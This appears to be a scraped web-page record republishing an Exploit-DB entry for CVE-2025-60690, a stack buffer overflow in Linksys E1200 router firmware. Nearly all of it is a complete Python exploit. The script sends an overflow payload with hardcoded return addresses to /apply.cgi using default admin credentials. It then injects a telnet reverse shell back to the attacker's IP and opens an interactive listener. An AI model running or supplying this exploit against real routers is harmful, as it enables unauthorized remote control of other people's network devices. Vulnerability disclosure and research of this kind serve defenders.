{“lastseen”:”2026-05-04T17:27:58″,”description”:”Exploit Title: Linksys E1200 2.0.04 – Authenticated Stack Buffer Overflow RCE Date: 2026-15-03 Exploit Author: JarrettgxzSec Vendor Homepage: www.linksys.com Version: FW \\” printf\\”! Example: python3 sys.argv0 192.168.1.100 192.168.1.1\\\\n\\” sys.exit1…”,”published”:”2026-05-04T00:00:00″,”modified”:”2026-05-04T00:00:00″,”type”:”exploitdb”,”title”:”Linksys E1200 2.0.04 – Authenticated Stack Buffer Overflow (RCE)”,”source”:””,”references”:””,”id”:”EDB-ID:52548″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-60690″],”sourceData”:”# Exploit Title: Linksys E1200 2.0.04 – Authenticated Stack Buffer Overflow (RCE)\\r\\n# Date: 2026-15-03\\r\\n# Exploit Author: JarrettgxzSec\\r\\n# Vendor Homepage: www.linksys.com\\r\\n# Version: FW \\u003c= v2.0.04\\r\\n# Tested on: v2.0.02 \\u0026 v2.0.04, directly connected to the LAN\\r\\n# CVE: CVE-2025-60690\\r\\n\\r\\n# Github repository: https:\/\/github.com\/Jarrettgohxz\/CVE-research\/tree\/main\/Linksys\/E1200-V2\/CVE-2025-60690\\r\\n\\r\\n\\r\\nimport sys\\r\\nimport socket\\r\\nimport threading\\r\\nimport time\\r\\n\\r\\nfrom urllib.parse import quote\\r\\n\\r\\nprint(‘[!] Please refer to the README (comments at the top of this script) to understand the affected firmware versions for CVE-2025-60690, and for which this exploit script will work on\\\\n’)\\r\\n\\r\\nif len(sys.argv) != 3:\\r\\n print(f\\”[!] Usage: python3 {sys.argv[0]} \\u003cATTACKER_IP\\u003e \\u003cTARGET_IP\\u003e\\”)\\r\\n print(f\\”[!] Example: python3 {sys.argv[0]} 192.168.1.100 192.168.1.1\\\\n\\”)\\r\\n sys.exit(1) \\r\\n\\r\\nTARGET_IP = sys.argv[2]\\r\\nTARGET_PORT = 80\\r\\nATTACKER_IP = sys.argv[1] \\r\\nSHELL_PORT = 8888\\r\\n\\r\\n\\r\\ndef start_shell_listener():\\r\\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\\r\\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\r\\n s.bind((‘0.0.0.0′, SHELL_PORT))\\r\\n\\r\\n print(f\\”[*] Listening for shell on port {SHELL_PORT}…\\”)\\r\\n s.listen(1)\\r\\n \\r\\n \\r\\n conn, addr = s.accept()\\r\\n print(f\\”[+] Connection received from {addr[0]}\\”)\\r\\n \\r\\n\\r\\n # allows interactive interaction\\r\\n conn.setblocking(True)\\r\\n conn.settimeout(0.5)\\r\\n\\r\\n while True:\\r\\n \\r\\n # send command to the router\\r\\n cmd = input(\\”# \\”)\\r\\n conn.send((cmd + \\”\\\\n\\”).encode())\\r\\n\\r\\n # receive output from the router\\r\\n try:\\r\\n while True:\\r\\n # keep reading until the device stops sending\\r\\n chunk = conn.recv(4096).decode(errors=’ignore’)\\r\\n\\r\\n if not chunk:\\r\\n print(\\”\\\\n[!] Connection closed by target.\\”)\\r\\n return \\r\\n\\r\\n print(chunk, end=\\”\\”, flush=True)\\r\\n \\r\\n # timeout decided by the conn.settimeout() method previously\\r\\n except socket.timeout: \\r\\n # this is expected when the device is done sending text\\r\\n pass\\r\\n\\r\\n\\r\\ndef execute_exploit():\\r\\n print(f\\”[*] Connecting to {TARGET_IP}:{TARGET_PORT}…\\”)\\r\\n\\r\\n\\r\\n # Construct the shell payload\\r\\n payload = \\”rm \/tmp\/f \\\\n\\”\\r\\n payload += \\”mkfifo \/tmp\/f \\\\n\\”\\r\\n payload += \\”killall httpd \\u0026\\u0026 httpd \\\\n\\”\\r\\n payload += f\\”cat \/tmp\/f | \/bin\/sh 2\\u003e\\u00261 | telnet {ATTACKER_IP} {SHELL_PORT} \\u003e \/tmp\/f\\”\\r\\n\\r\\n payload = quote(f\\” {payload}\\”)\\r\\n\\r\\n # Construct the exploit payload\\r\\n data = b\\”action=Apply\\u0026lan_netmask=\\u0026lan_ipaddr=4\\u0026lan_ipaddr_0=x\\u0026lan_ipaddr_1=x\\u0026lan_ipaddr_2=x\\u0026lan_ipaddr_3=\\”\\r\\n data += b\\”A\\”*74 + b\\”\\\\xa0\\\\x1e\\\\xd6\\\\x2a\\” + b\\”A\\”*24 + b\\”\\\\x44\\\\xa0\\\\xd6\\\\x2a\\” + b\\”A\\”*72 + b\\”\\\\xfc\\\\xd8\\\\xd4\\\\x2a\\” + b\\”A\\”*28\\r\\n data += payload.encode()\\r\\n \\r\\n # Construct the raw HTTP POST body\\r\\n content_length = len(data)\\r\\n\\r\\n http_req = f\\”POST \/apply.cgi HTTP\/1.1\\\\r\\\\n\\”\\r\\n http_req += f\\”Host: {TARGET_IP}\\\\r\\\\n\\”\\r\\n http_req += \\”Content-Type: application\/x-www-form-urlencoded\\\\r\\\\n\\”\\r\\n http_req += \\”Authorization: Basic YWRtaW46YWRtaW4=\\\\r\\\\n\\”\\r\\n http_req += f\\”Content-Length: {content_length}\\\\r\\\\n\\”\\r\\n http_req += \\”\\\\r\\\\n\\”\\r\\n http_req = http_req.encode() + data\\r\\n\\r\\n\\r\\n try:\\r\\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\\r\\n s.settimeout(10)\\r\\n s.connect((TARGET_IP, TARGET_PORT))\\r\\n s.sendall(http_req)\\r\\n\\r\\n except Exception as e:\\r\\n print(f\\”[!] Error: {e}\\”)\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n\\r\\n # start the shell listener in the background\\r\\n listener_thread = threading.Thread(target=start_shell_listener)\\r\\n listener_thread.daemon = True\\r\\n listener_thread.start()\\r\\n\\r\\n # short sleep to ensure the listener is bound and ready\\r\\n time.sleep(1)\\r\\n\\r\\n # execute the exploit function\\r\\n execute_exploit()\\r\\n\\r\\n # keep main thread alive to interact with the shell\\r\\n while listener_thread.is_alive():\\r\\n time.sleep(1)”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52548″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:A\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52548″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-04T17:27:58″,”description”:”Exploit Title: Linksys E1200 2.0.04 – Authenticated Stack Buffer Overflow RCE Date: 2026-15-03 Exploit Author: JarrettgxzSec Vendor Homepage: www.linksys.com Version: FW \\” printf\\”! Example: python3…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,40,15,13,7,11,5],"class_list":["post-51286","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n